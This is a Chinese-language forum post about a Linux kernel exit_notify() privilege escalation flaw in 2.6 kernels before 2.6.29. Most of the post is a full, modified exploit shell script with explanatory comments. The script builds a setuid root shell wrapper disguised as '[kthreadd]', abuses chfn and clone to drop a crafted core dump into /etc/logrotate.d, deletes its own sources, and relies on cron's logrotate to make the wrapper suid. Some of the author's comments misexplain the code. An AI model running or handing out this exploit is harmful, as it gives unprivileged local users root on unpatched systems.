| 
	  绿盟七号发出的公告:http://www.nsfocus.net/vulndb/13188 
Milw0rm八号发出的EXP:http://www.milw0rm.com/exploits/8369 
基本上通杀2.6.29以下的2.6内核版本了。 
kernel/exit.c文件中的exit_notify()函数没有正确地检查CAP_KILL功能,如果本地用户在退出前执行了setuid应用程序就会导致没有将信号重置为SIGCHLD,绕过其他检查获得权限提升。 
exit.c关键代码: 
==================================================== 
 if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&      (tsk->parent_exec_id != tsk->real_parent->self_exec_id ||       tsk->self_exec_id != tsk->parent_exec_id) &&      !capable(CAP_KILL))   tsk->exit_signal = SIGCHLD; 
==================================================== 
Milw0rm的那个EXP有问题, 我修改后加了注释: 
==================================================== 
#!/bin/sh 
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable` #suid_dumpable的内容默认是0,必须是1或者2 if [ $SUIDDUMP -lt 1 ]; then            #判断/proc/sys/fs/suid_dumpable的内容是否小于1 /sbin/sysctl -w fs.suid_dumpable=1    #修改fs.suid_dumpable的内容为1 fi if [ -d /etc/logrotate.d ]; then  #判断目录是否存在 echo "logrotate installed, that's good!" else echo "No logrotate installed, sorry!";exit fi 
echo -e "Compiling the bash setuid() wrapper..." cd tmp cat >> .m.c << EOF   #创建.m.c文件,下面就是.m.c的内容 #include <unistd.h> #include <sys/types.h> 
int main() {     setuid(0);  #执行了setuid就会导致没有将信号重置为SIGCHLD,绕过其他检查获得权限提升     execl("/bin/bash","[kthreadd]",NULL); #将/bin/bash加到二号线程里 } EOF 
cc /tmp/.m.c -o /tmp/.m     #编译 rm /tmp/.m.c    #删除源文件 
echo -e "Compiling the exploit code..." cd /tmp cat >> exploit.c << EOF        #创建源文件 #include <stdio.h> #include <sched.h> #include <signal.h> #include <stdlib.h> #include <unistd.h> 
int child(void *data) {     sleep(2);   #线程2进入睡眠状态     printf("I'm gonna kill the suidroot father without having root rights :D\n");     execl("/usr/bin/gpasswd","%s",NULL);     exit(0);    #结束进程 } 
int main() {     int stacksize = 4*getpagesize(); #4KB的栈大小     void *stack, *stacktop;     stack = malloc(stacksize);    #分配16KB大小栈     stacktop = stack + stacksize; #stacktop=32KB     chdir("/etc/logrotate.d");  #转到/etc/logrotate.d目录下     int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL); #创建子进程共享父进程。共享相同的文件描述符和信号处理     if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL); } EOF 
cc /tmp/exploit.c -o /tmp/.ex   #编译成.ex rm /tmp/exploit.c     #删除源文件 
echo -e "Setting coredump limits and running the exploit...\n" ulimit -c 10000 #设置资源极限 touch /tmp/.a #创建一个.a文件 `/tmp/.ex >/dev/null 2>/dev/null` #错误定向到/dev/null sleep 5 #系统休眠 rm /tmp/.ex #删除.ex 
if [ -e /etc/logrotate.d/core ]; then   #这里有疑问了,没有找到core文件的存在 touch /etc/logrotate.d/core   #加句话,创建一个core文件 echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n" echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root" echo -e "\nYour terminal is most probably screwed now, sorry for that..." exit fi 
echo "The system is not vulnerable, sorry :(" 
==================================================== 
等待24小时后,计划任务cron.daily执行,然后再运行/tmp/.m提权。 
这个洞洞很多地方没搞透,欢迎各位讨论讨论。 
补充: 任务计划cron.daily的时间是可以在/etc/crontab修改的, 格式是:分钟 小时 日  月  周   用户名  命令 其实就是执行了/etc/cron.daily/logrotate,可以手动执行,但我执行时出错了的。  
	
  |